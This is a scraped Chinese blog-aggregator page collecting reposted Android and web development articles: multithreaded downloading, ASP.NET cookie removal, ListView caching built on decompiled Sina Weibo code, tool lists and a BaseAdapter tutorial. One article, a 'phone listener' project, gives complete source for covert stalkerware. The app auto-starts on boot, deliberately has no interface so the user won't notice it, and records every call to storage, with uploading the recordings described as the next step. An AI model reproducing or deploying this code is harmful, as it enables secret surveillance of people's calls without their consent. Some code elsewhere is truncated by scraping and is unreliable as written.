[转载]在Android中实现多线程断点下载(连载一)

mikel阅读(1067)

[转载](Android小应用)在Android中实现多线程断点下载(连载一) – And_He – 博客园.

当我们从Internet中下载一个文件时,有的文件比较大,比如音乐或视频文件,下载的话需要比较长的时间,当我们在下载过程中,如果手机没电了 或者其它原因,使当前的下载中断了,按照一般的程序,当下次下载又需要从新开始,这里我们来实现多纯程断点下载,当下载中断了,下次启动的时候还会接着下 载,有点像我们的迅雷了……

首先呢,我们先不急着建Android应用,先建一个Java项目,测试一下下

然后在这个项目里面建一个测试用例

包都可以不填,因为只是测试,不是真正的应用,偷懒了……

OK,接着写代码

package junit.test;

import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.net.HttpURLConnection;
import java.net.URL;

import org.junit.Test;

public class InternetTest {
/**
* 读取输入流并返回数据
* @param input
* @return
* @throws Exception
*/
public byte[] readStream(InputStream input) throws Exception{
byte[] buffer = new byte[1024];
ByteArrayOutputStream output = new ByteArrayOutputStream();
int len = -1;
while((len=input.read(buffer))!=-1){
output.write(buffer, 0, len);
}
input.close();
output.close();
return output.toByteArray();
}

/**
* 从网络上下载图片
* @throws Exception
*/

@Test
public void getImage()throws Exception{
String urlPath = "http://photocdn.sohu.com/20110401/Img280097999.jpg";//在网络上随便找一张图片的链接
URL url = new URL(urlPath);
HttpURLConnection conn = (HttpURLConnection) url.openConnection();//返回一个连接对象
conn.setRequestMethod("GET");//设置请求方式
conn.setConnectTimeout(6*1000);//设置连接超时,这里可以不用设置,但是在android应用中应该设置超时时间
if (conn.getResponseCode()==200) {
InputStream input = conn.getInputStream();
byte[] data = readStream(input);
File file = new File("test.jpg");
FileOutputStream output = new FileOutputStream(file);
output.write(data);
output.close();
}
}

/**
* 得到网页html
* @throws Exception
*/
@Test
public void getHtml()throws Exception{
String urlPath = "http://www.baidu.com";
URL url = new URL(urlPath);
HttpURLConnection conn = (HttpURLConnection) url.openConnection();
conn.setRequestMethod("GET");
conn.setConnectTimeout(6*1000);
if (conn.getResponseCode()==200) {
InputStream input = conn.getInputStream();
byte[] data = readStream(input);
System.out.println(new String(data));//直接输出到控制台
}
}
}

然后测试,是否有预期的结果,如果有,继续下面,如果没有,再看看是不是哪儿错了

然后再建一个测试类,实现多线程下载,以下载一首mp3为例

package junit.test;

import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.RandomAccessFile;
import java.net.HttpURLConnection;
import java.net.MalformedURLException;
import java.net.ProtocolException;
import java.net.URL;

import org.junit.Test;

public class DownloaderTest {
/**
* 读取输入流并返回数据
* @param input
* @return
* @throws Exception
*/
public byte[] readStream(InputStream input) throws Exception {
ByteArrayOutputStream output = new ByteArrayOutputStream();
byte[] buffer = new byte[1024];
int len = -1;
while ((len = input.read(buffer)) != -1) {
output.write(buffer, 0, len);
}
input.close();
output.close();
return output.toByteArray();
}

@Test
public void downloader() throws Exception {
String urlPath = "http://dl.toofiles.com/vaaoje/audios/qbd.mp3";
URL url = new URL(urlPath);
HttpURLConnection conn = (HttpURLConnection) url.openConnection();
conn.setRequestMethod("GET");
int threadsize = 3;//定义线程数
int filesize = conn.getContentLength();// 获取文件大小
int block = filesize / threadsize + 1;// 每条线程下载的数量
conn.disconnect();
File file = new File("千百度.mp3");
RandomAccessFile randfile = new RandomAccessFile(file, "rw");//RandomAccessFile可以指定从文件的什么位置写入数据
for(int i=0;i int startposition = i * block;//记录每条线程的开始位置
RandomAccessFile threadfile = new RandomAccessFile(file, "rw");
threadfile.seek(startposition);//从文件的什么位置开始写入
new Thread(new DownloadThread(i,url,startposition,threadfile,block)).start();
}
/*
* 设置一个标志,当输入q的时候停止主线程
*/
byte b[] = new byte[1];
System.in.read(b);
while(!('q'==b[0])){
Thread.sleep(3*1000);
}
}
private class DownloadThread implements Runnable{

private int id ;
private URL url;
private int startposition;
private RandomAccessFile threadfile;
private int block;
public DownloadThread(int id ,URL url,int startposition,RandomAccessFile threadfile,int block){
this.id=id;
this.url=url;
this.startposition=startposition;
this.threadfile=threadfile;
this.block=block;
}
@Override
public void run() {
// TODO Auto-generated method stub
try {
HttpURLConnection conn = (HttpURLConnection)url.openConnection();
conn.setRequestMethod("GET");
conn.setRequestProperty("Range", "bytes="+startposition+"-");
conn.setConnectTimeout(6 * 1000);
InputStream input = conn.getInputStream();
byte[] buffer = new byte[1024];
int len = -1;
int readfilesize = 0;//记录下载的文件大小
while (readfilesize threadfile.write(buffer, 0, len);
readfilesize += len;//累计下载的文件大小
}
threadfile.close();
conn.disconnect();
System.out.println((this.id+1)+"线程下载完成");
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}

}
}

运行此测试类,如果没有异常抛出的话就成功了……

多线程下载的核心代码已经完成,下面结合到Android应用中,我们还得用到SQLite知识,要实现多线程下载,当中断的时候,我们系统会记录一个下载位置,我们把它保存在数据库中,第二次运行的时候再从数据库中读取出来,假设大家都有SQLite方面的知识……

接下来应该建Android项目了

连载中……

[转载]分享30套精美的Web和手机开发UI素材包

mikel阅读(849)

[转载]分享30套精美的Web和手机开发UI素材包 – 梦想天空 – 博客园.

本文与大家分享一批精美的Web和手机UI元素和资源包,如果你正在开发一个手机项目,相信这些资源一定能帮上你的大忙,其它朋友也可以收藏起来,说不定以后会用到的:)


(编译来源:梦想天空 原文来自:30+ Free Web, Mobile UI Element Kits and Stencils for Designers

[转载]分享30套精美的Web和手机开发UI素材包

mikel阅读(788)

[转载]分享30套精美的Web和手机开发UI素材包 – 梦想天空 – 博客园.

本文与大家分享一批精美的Web和手机UI元素和资源包,如果你正在开发一个手机项目,相信这些资源一定能帮上你的大忙,其它朋友也可以收藏起来,说不定以后会用到的:)


(编译来源:梦想天空 原文来自:30+ Free Web, Mobile UI Element Kits and Stencils for Designers

[转载]Asp.net中如何删除cookie?

mikel阅读(800)

[转载]Asp.net中如何删除cookie? – goody9807 – 博客园.

不能直接删除用户计算机中的 Cookie。但是,可以通过将 Cookie 的到期日期设置为过去的日期,让用户的浏览器来删除 Cookie。当用户下一次向设置该 Cookie 的域或路径内的页发出请求时,浏览器将确定该 Cookie 已到期并将其移除。

调用 Cookies集合的 Remove方法可从服务器端的集合中移除 Cookie,使 Cookie 不会被发送至客户端。但是,如果客户端已存在 Cookie,则

向 Cookie 分配已过去的到期日期
  1. 确定 Cookie 是否存在,如果存在则创建同名的新 Cookie。
  2. 将 Cookie 的到期日期设置为过去的某一时间。
  3. 将 Cookie 添加到 Cookies 集合对象。

    下面的代码示例演示如何为 Cookie 设置已过去的到期日期。

    Visual Basic
    If (Not Request.Cookies(“UserPreferences1”) Is Nothing) Then
    Dim myCookie As HttpCookie
    myCookie = New HttpCookie(“UserPreferences1”)
    myCookie.Expires = DateTime.Now.AddDays(-1D)
    Response.Cookies.Add(myCookie)
    End If
    if (Request.Cookies[“UserSettings”] != null)
    {
    HttpCookie myCookie = new HttpCookie(“UserSettings”);
    myCookie.Expires = DateTime.Now.AddDays(-1d);
    Response.Cookies.Add(myCookie);
    }

编译代码

此示例需要:

  1. 一个 ASP.NET 网页。
  2. 一个先前编写的名为 UserSettings 的 Cookie,

可靠编程

出于安全原因,您只能读取属于同一域的页所设置的 Cookie。如果已经设置 Cookie 的 Path属性,则该 Cookie 也只能用于该域路径内的页和子文件夹。

在读取特定 Cookie 值时,请测试该 Cookie 是否存在以及它是否具有值,否则将发生异常。

[转载]Android开发小知识文章目录

mikel阅读(803)

[转载]Android开发小知识文章目录 – qixiinghaitang – 博客园.

1

缩小Android模拟器的显示尺寸

2

图解LogCat的用法

3

学习Android界面设计的超级利器HierarchyView.bat

4

android:gravity和android:layout_gravity区别

5

Android界面开发推荐颜色

6

如何在Android模拟器中安装和卸载程序

7

初学解惑,最新的Android开发工具包可以用来开发老版本的程序吗?

8

使用ScrollView实现滚动效果

9

在Android中制作没有标题条的窗口

10

如何在Eclipse中看Android2.2的源码

11

在Android中使用自定义图片按钮

12

获取别人Android程序中的图片资源的方法

13

Android2.2系统中自带的图片资源

14

Android2.2中系统自带样式styles.xml的源代码

15

Android2.2中系统自带主题themes.xml的源代码

16

去移动MM学院开发人员在线考试测一下自己的分数

17

Android2.2中match_parent和fill_parent是一个意思

18

Android源代码下载指南(图解)

[转载]11款有用的Web开发在线工具

mikel阅读(749)

[转载]11款有用的Web开发在线工具_IT新闻_博客园.

作为Web开发者,我发现我非常依赖于一些在线工具。在线工具通常是易于创建和使用,并且可以使工作表现的更好、更快。

比如htaccess generator、JSON formatter。以下是我分享的一些新的、有趣的在线工具。

Font comparer

clip_image001

仅是输入一些文字,,来查看它的不同样式。

Color Explorer

clip_image002

通过ColorExplorer,你可以快速、轻松的创建、管理和评估调色,当你使用图片设计、Web设计、布局等时。

SpriteBox

clip_image003

SpriteBox是个WYSIWYG工具,来帮助Web开发者快速、轻松的创建CSS类。

Gridulator

clip_image004

Gridulator可以快速创建网格布局,在png上,帮助你进行Web布局。你会发现photoshop都不顶用的功能。

Markup.io

clip_image005

Markup可以让你通过一组工具在任何的网页上勾画等简单编辑,来表达你的想法。然后你可以通过书签工具栏来在任何时候掉使用它。

Spritebaker

clip_image006

一款针对web开发者和设计师的免费工具。它解析你的css,通过外部媒体“baked”返回一个副本,作为Base64编码数据集。消耗Http请求的时间将大量缩减,大量提升速度(服务器端必须gzip压缩)。

ProCSSor

clip_image007

高级CSS“美化师”,通过严格的方式格式化CSS。 将你的CSS转化为更引人注目的东西,只需一点点的努力。

Minus

clip_image008

拖曳的快速分享工具。

CopyPaste Character

clip_image009

复制、粘贴Web特殊字符的工具。

Name Check

clip_image010

检查你想要的昵称是否能注册的工具,支持数十个流行的社交网站。通过namechk找到最佳用户名。

Scrim

clip_image011

转化email地址为短域名,你可以在各类网站分享它,并且可以规避暴漏邮箱地址,而导致垃圾邮件泛滥。

原文:http://www.queness.com/post/7018/11-useful-online-tools-for-web-development

[转载]Android ListView性能优化之视图缓存(续)

mikel阅读(989)

[转载][Android]ListView性能优化之视图缓存(续) – 农民伯伯 – 博客园.

前言

在上一篇ListView性能优化之视图缓存我们讨论了Google I/O中的优化方法,在各个论坛发帖后得到了不错的反馈,诸如:使用ViewHolder技术Tag的问题,利用HashMap自行存储的方案等。这里结合新浪微博中主界面的做法及测试数据与大家进一步探讨。

声明

欢迎转载,但请保留文章原始出处:)

博客园:http://www.cnblogs.com

农民伯伯: http://over140.cnblogs.com

文章

[Android]ListView性能优化之视图缓存 [本文的上篇]

[Android]ListView性能优化之视图缓存 [JavaEye讨论帖]

正文

一、新浪微博

1.1  截图

(来自网络)

1.2  反编译后相关代码

public View getView(int paramInt, View paramView, ViewGroup paramViewGroup)
{
int i = --paramInt;
int j = -1;
if (i == j);
for (Object localObject1 = HomeListActivity.this.getReloadView(); ; localObject1 = HomeListActivity.this.getLoadMoreView())
{
label26: return localObject1;
int k = HomeListActivity.this.mList.size();
int l = paramInt;
int i1 = k;
if (l != i1)
break;
}
boolean bool1 = true;
boolean bool2 = null;
String str1;
label110: Object localObject2;
if (StaticInfo.mUser == null)
{
List localList1 = HomeListActivity.this.mList;
int i2 = paramInt;
str1 = ((MBlog)localList1.get(i2)).uid;
List localList2 = HomeListActivity.this.mList;
int i3 = paramInt;
String str2 = ((MBlog)localList2.get(i3)).uid;
String str3 = str1;
if (!str2.equals(str3))
break label271;
int i4 = 1;
label156: if (paramView != null)
break label277;
HomeListActivity localHomeListActivity1 = HomeListActivity.this;
ListView localListView1 = HomeListActivity.this.mLvHome;
List localList3 = HomeListActivity.this.mList;
int i5 = paramInt;
MBlog localMBlog1 = (MBlog)localList3.get(i5);
HomeListActivity localHomeListActivity2 = HomeListActivity.this;
int i6 = paramInt;
boolean bool4 = localHomeListActivity2.isNewCommer(i6);
int i7 = HomeListActivity.this.mReadMode;
localObject2 = new MBlogListItemView(localHomeListActivity1, localListView1, localMBlog1, bool1, bool2, i4, bool4, i7);
}
while (true)
{
localObject1 = localObject2;
break label26:
str1 = StaticInfo.mUser.uid;
break label110:
label271: boolean bool3 = null;
break label156:
label277: localObject2 = paramView;
try
{
MainListItemView localMainListItemView = (MainListItemView)localObject2;
List localList4 = HomeListActivity.this.mList;
int i8 = paramInt;
Object localObject3 = localList4.get(i8);
HomeListActivity localHomeListActivity3 = HomeListActivity.this;
int i9 = paramInt;
boolean bool5 = localHomeListActivity3.isNewCommer(i9);
int i10 = HomeListActivity.this.mReadMode;
boolean bool6 = bool1;
boolean bool7 = bool2;
localMainListItemView.update(localObject3, bool6, bool7, bool5, i10);
}
catch (Exception localException)
{
HomeListActivity localHomeListActivity4 = HomeListActivity.this;
ListView localListView2 = HomeListActivity.this.mLvHome;
List localList5 = HomeListActivity.this.mList;
int i11 = paramInt;
MBlog localMBlog2 = (MBlog)localList5.get(i11);
HomeListActivity localHomeListActivity5 = HomeListActivity.this;
int i12 = paramInt;
boolean bool8 = localHomeListActivity5.isNewCommer(i12);
int i13 = HomeListActivity.this.mReadMode;
localObject2 = new MBlogListItemView(localHomeListActivity4, localListView2, localMBlog2, bool1, bool2, bool3, bool8, i13);
}
}
}

代码说明:

代码流程已经比较混乱,但是这里能看到并没有直接的inflate,而是自定义了继承自LinearLayout的MBlogListItemView。

MBlogListItemView
public MBlogListItemView(Context paramContext, ListView paramListView, MBlog paramMBlog, boolean paramBoolean1, boolean paramBoolean2, boolean paramBoolean3, boolean paramBoolean4, int paramInt)
{
super(paramContext);
this.context = paramContext;
this.parent = paramListView;
this.mBlog = paramMBlog;
String str1 = paramContext.getCacheDir().getAbsolutePath();
this.mCacheDir = str1;
String str2 = paramContext.getFilesDir().getAbsolutePath();
this.mFileDir = str2;
((LayoutInflater)paramContext.getSystemService("layout_inflater")).inflate(2130903061, this);
TextView localTextView1 = (TextView)findViewById(2131624016);
this.mName = localTextView1;
TextView localTextView2 = (TextView)findViewById(2131624041);
this.mDate = localTextView2;
TextView localTextView3 = (TextView)findViewById(2131624018);
this.mContent = localTextView3;
TextView localTextView4 = (TextView)findViewById(2131624046);
this.mSubContent = localTextView4;
ImageView localImageView1 = (ImageView)findViewById(2131624040);
this.mIconV = localImageView1;
ImageView localImageView2 = (ImageView)findViewById(2131624042);
this.mIconPic = localImageView2;
ImageView localImageView3 = (ImageView)findViewById(2131624044);
this.mUploadPic1 = localImageView3;
ImageView localImageView4 = (ImageView)findViewById(2131623979);
this.mUploadPic2 = localImageView4;
TextView localTextView5 = (TextView)findViewById(2131624047);
this.tvForm = localTextView5;
TextView localTextView6 = (TextView)findViewById(2131623989);
this.tvComment = localTextView6;
this.tvComment.setOnClickListener(this);
TextView localTextView7 = (TextView)findViewById(2131623988);
this.tvRedirect = localTextView7;
this.tvRedirect.setOnClickListener(this);
ImageView localImageView5 = (ImageView)findViewById(2131624049);
this.imComment = localImageView5;
this.imComment.setOnClickListener(this);
ImageView localImageView6 = (ImageView)findViewById(2131624048);
this.imRedirect = localImageView6;
this.imRedirect.setOnClickListener(this);
ImageView localImageView7 = (ImageView)findViewById(2131624043);
this.imGpsIcon = localImageView7;
ImageView localImageView8 = (ImageView)findViewById(2131624013);
this.mPortrait = localImageView8;
LinearLayout localLinearLayout = (LinearLayout)findViewById(2131624045);
this.mSubLayout = localLinearLayout;
this.mReadMode = paramInt;
MBlogListItemView localMBlogListItemView = this;
MBlog localMBlog = paramMBlog;
boolean bool1 = paramBoolean1;
boolean bool2 = paramBoolean2;
boolean bool3 = paramBoolean4;
int i = paramInt;
localMBlogListItemView.update(localMBlog, bool1, bool2, bool3, i);
this.mUploadPic1.setOnClickListener(this);
this.mUploadPic2.setOnClickListener(this);
}

    代码说明:

      a).  MBlogListItemView extends LinearLayout implements MainListItemView
      b).  inflate(2130903061,this)这个数字代表R.layout.itemview。
 二、测试方案(方案五)

    按照新浪微博类似的做法进行测试。

    2.1  测试代码

@Override
public View getView(int position, View convertView, ViewGroup parent) {
// 开始计时
long startTime = System.nanoTime();

TestItemLayout item;
if (convertView == null) {
item = new TestItemLayout(BaseAdapterActivity.this);
} else
item = (TestItemLayout) convertView;
item.icon1.setImageResource(R.drawable.icon);
item.text1.setText(mData[position]);
item.icon2.setImageResource(R.drawable.icon);
item.text2.setText(mData[position]);

// 停止计时
long endTime = System.nanoTime();
// 计算耗时
long val = (endTime – startTime) / 1000L;
Log.e(“Test”, “Position:” + position + “:” + val);
if (count < 100) { if (val < 2000L) { sum += val; count++; } } else mTV.setText(String.valueOf(sum / 100L) + ":" + nullcount);// 显示统计结果 return item; } [/java]   TestItemLayout [java] public class TestItemLayout extends LinearLayout { public TextView text1; public ImageView icon1; public TextView text2; public ImageView icon2; public TestItemLayout(Context context) { super(context); ((LayoutInflater) context .getSystemService(Context.LAYOUT_INFLATER_SERVICE)).inflate( R.layout.list_item_icon_text, this); icon1 = (ImageView) findViewById(R.id.icon1); text1 = (TextView) findViewById(R.id.text1); icon2 = (ImageView) findViewById(R.id.icon2); text2 = (TextView) findViewById(R.id.text2); } } [/java] 2.2  测试结果

次数 4个子元素 10个子元素
第一次 347 460
第二次 310 477
第三次 324 508
第四次 339 492
第五次 341 465

三、总结

从测试结果来看与ViewHolder性能非常接近,不会出现tag图片变小的问题(关于图片变小的问题,有朋友说是TAG中的元素对大小和位置有记忆),也能有效的减少findViewById的执行次数,这里建议完全可以取代ViewHolder。

关于ListView内部Adapter的心得大家可以看一下上文的总结4.1。

四、考虑

关于静态内部类这里不是很理解,是否能应用方案五还有待验证。

结束

优化ListView不仅仅只有对convertView的优化,还有许多这样那样的技巧,欢迎大家交流与分享 🙂

[转载](Android小应用)电话监听器

mikel阅读(1157)

[转载](Android小应用)电话监听器 – And_He – 博客园.

这是一个Android练手小项目,通过一个BroadcastReceiver广播接 收者监听手机启动状态,实现开机启动。因为是电话监听器,所以我们不能让用户察觉,所以不能有软件界面,这是要点,不然也不叫监听器了,主要实现的功能有 对所有语音通话进行录制并上传到网上,好了,不废话了,下面一步一步地写……

首先,我们先来了解一下Service服务

Android中的服务和windows中的服务是类似的东西,服务一般没有用户操作界面,它运行于系统中不容易被用户发觉,可以使用它开发如监控之类的程序。服务的开发比较简单,如下:
第一步:继承Service类
public class PhoneListenerService extends Service {...}
第二步:在AndroidManifest.xml文件中的<application>节点里对服务进行配置:
<service android:name="PhoneListenerService"></service>
这里推荐使用eclipse图形化的界面添加
如上图所示,可以添加Service、Permission、BroadcastReceiver等,感兴趣可以自己试一下。
服务不能自己运行,需要通过调用Context.startService()或Context.bindService()方法启动服务。这 两个方法都可以启动Service,但是它们的使用场合有所不同。使用startService()方法启用服务,调用者与服务之间没有关连,即使调用者 退出了,服务仍然运行。使用bindService()方法启用服务,调用者与服务绑定在了一起,调用者一旦退出,服务也就终止,大有“不求同时生,必须 同时死”的特点。
如果打算采用Context.startService()方法启动服务,在服务未被创建时,系统会先调用服务的 onCreate()方法,接着调用onStart()方法。如果调用startService()方法前服务已经被创建,多次调用 startService()方法并不会导致多次创建服务,但会导致多次调用onStart()方法。采用startService()方法启动的服务, 只能调用Context.stopService()方法结束服务,服务结束时会调用onDestroy()方法。
如果打算采用Context.bindService()方法启动服务,在服务未被创建时,系统会先调用服务的 onCreate()方法,接着调用onBind()方法。这个时候调用者和服务绑定在一起,调用者退出了,系统就会先调用服务的onUnbind()方 法,接着调用onDestroy()方法。如果调用bindService()方法前服务已经被绑定,多次调用bindService()方法并不会导致 多次创建服务及绑定(也就是说onCreate()和onBind()方法并不会被多次调用)。如果调用者希望与正在绑定的服务解除绑定,可以调用 unbindService()方法,调用该方法也会导致系统调用服务的onUnbind()–>onDestroy()方法。
服务常用生命周期回调方法如下:

onCreate() //该方法在服务被创建时调用,该方法只会被调用一次,无论调用多少次startService() 或bindService()方法,服务也只被创建一次。 onDestroy()//该方法在服务被终止时调用。

与采用Context.startService()方法启动服务有关的生命周期方法
onStart() 只有采用Context.startService()方法启动服务时才会回调该方法。该方法在服务开始运行时被调用。多次调用startService()方法尽管不会多次创建服务,但onStart() 方法会被多次调用。
与采用Context.bindService()方法启动服务有关的生命周期方法
onBind()只有采用Context.bindService()方法启动服务时才会回调该方法。该方法在调用者与服务绑定时被调用,当调用者与服务已经绑定,多次调用Context.bindService()方法并不会导致该方法被多次调用。
onUnbind()只有采用Context.bindService()方法启动服务时才会回调该方法。该方法在调用者与服务解除绑定时被调用。
OK,了解了服务,现在开始来开发这个小应用了……
首先在eclipse中新建一个项目,我的命名为:phonelistener,直接截图
因为我们在创建项目的时候必须要填上一个Activity,我就先随便填一个Activity界面,因为这个电话监听器不能让用户察觉,所以不能有界面的,待会儿在功能清单文件中删除。
接下来,我们添加一个服务类:PhoneListenerService,当调用这个服务类的方法的时候,我们实现监听的所有内容
package com.studio.listener; import java.text.SimpleDateFormat; import java.util.Date; import android.app.Service; import android.content.Context; import android.content.Intent; import android.media.MediaRecorder; import android.os.Environment; import android.os.IBinder; import android.telephony.PhoneStateListener; import android.telephony.TelephonyManager; import android.util.Log; public class PhoneListenerService extends Service { private String TAG = "PhoneListenerService";//这里设置一个Log标志,方便于调试 @Override public IBinder onBind(Intent intent) { // TODO Auto-generated method stub return null; } /** * 此处复写onCreate()方法,当这个服务被创建的时候就实现监听 */ @Override public void onCreate() { // TODO Auto-generated method stub super.onCreate(); /* 取得电话服务 */ TelephonyManager telManager = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE); PhoneStateListener listener = new PhoneStateListener() { private String number;//定义一个监听电话号码 private boolean isRecord;//定义一个当前是否正在复制的标志 private MediaRecorder recorder;//媒体复制类 @Override public void onCallStateChanged(int state, String incomingNumber) { switch (state) { case TelephonyManager.CALL_STATE_IDLE:/* 无任何状态 */ number = null; if (recorder != null && isRecord) { Log.i(TAG, "录音完成");//设定一个录音完成的标志,方便调试 recorder.stop();//录音完成 recorder.reset(); recorder.release(); isRecord = false;//录音完成,改变状态标志 } break; case TelephonyManager.CALL_STATE_OFFHOOK:/* 接起电话 */ // 录制声音,这是录音的核心代码 try { Log.i(TAG, "开始录音"); recorder = new MediaRecorder(); recorder.setAudioSource(MediaRecorder.AudioSource.MIC);// 定义声音来自于麦克风 recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);//我们定义存储格式为3gp recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);//定我编码 SimpleDateFormat format = new SimpleDateFormat("yyMMddHHmmss");//此处定义一个format类,方便对录音文件进行命名 String fileName = this.number + "_" + format.format(new Date()); /* 定义录音文件的输出路径,这里我们先保存到sdcard */ recorder.setOutputFile(Environment.getExternalStorageDirectory().getAbsolutePath()+ "/" + fileName + ".3gp"); recorder.prepare(); recorder.start(); // 开始刻录 isRecord = true; } catch (Exception e) { Log.e(TAG, e.toString()); } break; case TelephonyManager.CALL_STATE_RINGING:/* 电话进来 */ this.number = incomingNumber; break; default: break; } } }; // 监听电话的状态 telManager.listen(listener, PhoneStateListener.LISTEN_CALL_STATE); Log.i(TAG, "服务已经启动"); } }
服务类写好了,记得要在功能清单文件中注册它,千万不要忘了……
<service android:name="PhoneListenerService"></service>
服务写好了,然后再来写一个广播接收器,以便于接收手机开机时的状态,监听到手机启动了的时候就启动我们的服务……
package com.studio.listener; import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; public class BootBroadcastReceiver extends BroadcastReceiver { @Override public void onReceive(Context context, Intent intent) { // TODO Auto-generated method stub Intent service = new Intent(context, PhoneListenerService.class);//定义一个意图 context.startService(service);//开启服务 } }
这里面很简单,当我们的广播接收者接收到某个状态时就启动我们刚才定义的Service
下面在功能清单中配置
<?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.studio.listener" android:versionCode="1" android:versionName="1.0"> <uses-sdk android:minSdkVersion="10" /> <!-- 对外部存储设备的写入权限 --> <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"></uses-permission> <!-- 对外部文件的写入和删除权限 --> <uses-permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS"></uses-permission> <!-- 音频刻录权限 --> <uses-permission android:name="android.permission.RECORD_AUDIO"></uses-permission> <!-- 接收手机完全开启状态权限 --> <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"></uses-permission> <!-- 读取电话状态权限 --> <uses-permission android:name="android.permission.READ_PHONE_STATE"></uses-permission> <application android:icon="@drawable/icon" android:label="@string/app_name"> <service android:name="PhoneListenerService"></service> <receiver android:name="BootBroadcastReceiver"> <intent-filter> <action android:name="android.intent.action.BOOT_COMPLETED"></action> </intent-filter> </receiver> </application> </manifest>
此功能清单中我已经把<Activity…/>的内容去掉了,因为我们不需要界面。反此应用安装到模拟器,然后关掉模拟器重新启动,可以用DDMS里面的有一个功能向我们的模拟器打电话的
因为我这里现在没有启动模拟器,所以是灰色的。在Incoming number后面输入5554,然后点击下面的call就可以呼叫了,当然也可以另外再开一个模拟器对5554进行呼叫,这样比较麻烦。
如果此处出现我们当在服务里面添加的TAG的话就表示成功了,然后查看sdcard是否有我们想要的录音文件,有就Ok了……
接下来我们要实现把这样一个音频文件上传到网络上的指定位置,然后删除sdcard上的音频文件,比较接近“监听”了……

[转载]Android中文合集(5)(126+8篇)(chm格式)

mikel阅读(1312)

[转载]Android中文合集(5)(126+8篇)(chm格式) – 农民伯伯 – 博客园.

前言

Android中文翻译组是一个非盈利性质的开源组织,聚一批开发人员、大学生、研究生等Android爱好者,利用业余时间对Android相关的API及开发者指南等进行翻译,至今已超过200人报名参与,欢迎加入,联系Mailover140@gmail.com关于翻译组的更多介绍,请看这里

本合集包含126章节API8章开发者指南。

声明

欢迎转载,但请保留文章原始出处:)

博客园:http://www.cnblogs.com/

Android中文翻译组:http://goo.gl/6vJQl

正文

一、截图

二、 章节

三、 名单

本合集参与章节翻译名单:移动云_文斌深夜未眠xiaoQLugansc23AtomicAmanAndroid Club SYSUcnmahjcoficeHalZhanghenly.zhangjiahuibinKunloveshirui madgoatpengyouhongTinawallace20100_1凌云健笔逝憶流緣天涯明月刀Haiya 胡蝶、桂仁、唐明、颖哥儿、思考的狼德罗德、首当其冲、CN七号、麦子獨鍆躌踄我是谁、一昕、六必治农民伯伯

四、共享

无论你是个人还是团队,不管是否加入我们,如果翻译Android官方相关文章,请与我们分享进度,把你翻译的章节发邮箱到over140@gmail.com ,以免重复翻译。我们的进度:这里(以“进度_”开头的Excel文件)。

五、招募自愿者

文档翻译员,要求:

1. 有耐心,这是一场持久战,需要大家的坚持。

2. 有态度,认真对待每一篇译稿。

3. 会英语,至少在翻译工具的帮助下能读懂英文原文。

[]审核员,要求:

1.  脾气好,审稿过程中需要和组员沟通,需要好脾气来沟通。

2.  技术好,工作经验2年以上,Android经验半年以上,对技术有自己的理解。

3.  英语好,英语6级以上,有相关翻译经验更佳。

4.  原则上每周能审稿至少1篇。

五、下载

chm格式

Android中文翻译组-中文合集5

pdf格式

Android中文合集.pdf

注意

如果打不开chm格式合集,请在chm文件上点击右键,选择属性,在弹出的对话框中,点击“解除锁定”,就可以了。

结束

虽然合集5与合集4相比增加的章节并不多,但是大家仍然是挤时间在支持,我们相信——坚持就是胜利!

[转载]Android基础类之BaseAdapter

mikel阅读(1021)

[转载]Android基础类之BaseAdapter – 宁 静 致 远 – 博客园.

BaseAdapter就Android应用程序中经常用到的基础数据适配器,它的主要用途是将一组数据传到像ListView、Spinner、Gallery及GridView等UI显示组件,它是继承自接口类Adapter,
1、Adapter类简介
1)、Adapter相关类结构如下图所示:
Adapter
自定义Adapter子类,就需要实现上面几个方法,其中最重要的是getView()方法,它是将获取数据后的View组件返回,如ListView中每一行里的TextView、Gallery中的每个ImageView。
2)、Adapter在Android应用程序中起着非常重要的作用,应用也非常广泛,它可看作是数据源和UI组件之间的桥梁,其中Adapter、数据和UI之间的关系,可以用下图表示:
t2A9A
3)、常用子类
Adapter常用子类
2、BaseAdapter简介
BaseAdapter是实现了ListAdapter和SpinnerAdapter两个接口,当然它也可以直接给ListView和Spinner等UI组件直接提供数据。
相关类结构如下图所示:
tCCA2
3、示例
示例一:Gallery显示一组图片
运行结果:

说明:上面一行图片是Gallery画廊,每次点击一个Gallery图片时,会同时在下面以大图形式显示出来该图片
布局文件:
<?xml version="1.0" encoding="utf-8"?> <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" android:orientation="vertical" android:layout_width="fill_parent" android:layout_height="fill_parent" > <TextView android:layout_width="fill_parent" android:layout_height="wrap_content" android:text="@string/hello" /> <Gallery android:id="@+id/gallery1" android:layout_width="match_parent" android:spacing="5px" android:layout_height="wrap_content" ></Gallery> <ImageView android:id="@+id/iv" android:layout_gravity="center_vertical" android:layout_marginTop="20px" android:layout_width="320px" android:layout_height="320px" ></ImageView> </LinearLayout>
MainActivity类:
package com.magc.adapter; import android.app.Activity; import android.content.Context; import android.os.Bundle; import android.util.Log; import android.view.View; import android.view.ViewGroup; import android.view.View.OnClickListener; import android.widget.AdapterView; import android.widget.BaseAdapter; import android.widget.Gallery; import android.widget.ImageView; import android.widget.AdapterView.OnItemClickListener; public class MainActivity extends Activity { private Gallery gallery; private ImageView imgview; private int[] imgs = {R.drawable.a6,R.drawable.a1,R.drawable.a2,R.drawable.a3,R.drawable.a4,R.drawable.a5}; /** Called when the activity is first created. */ @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.main); imgview = (ImageView)findViewById(R.id.iv); gallery = (Gallery)findViewById(R.id.gallery1); MyImgAdapter adapter = new MyImgAdapter(this); gallery.setAdapter(adapter); gallery.setOnItemClickListener(new OnItemClickListener() { //用户点击图片时,将该图片的ResourceID设到下面的ImageView中去, @Override public void onItemClick(AdapterView<?> arg0, View view, int position, long arg3) { imgview.setImageResource(imgs[position]); 